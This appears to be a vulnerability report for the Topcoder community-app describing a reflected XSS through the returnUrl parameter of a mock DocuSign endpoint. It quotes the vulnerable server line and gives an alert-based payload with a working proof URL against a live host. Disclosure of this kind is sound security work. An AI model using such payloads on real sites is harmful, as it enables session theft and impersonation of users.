Reflected XSS in http://veterans.topcoder.com/community-app-assets/api/mock/docu-sign on the `returnUrl` GET parameter

[jswheeler]

community-app/src/server/index.js

Line 218 in cd3c65f

server.use('/community-app-assets/api/mock/docu-sign', (req, res) => setTimeout(() => res.send(mockDocuSignFactory(req.query.returnUrl)), 3000));

found XSS reflected in this path http://veterans.topcoder.com/community-app-assets/api/mock/docu-sign?returnUrl=

payload = "%2balert(document.domain)%2b"
proof = http://veterans.topcoder.com/community-app-assets/api/mock/docu-sign?returnUrl=%22%2balert(document.domain)%2b%22

when user open the link and press Sign or Reject button the XSS reflected

Impact
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker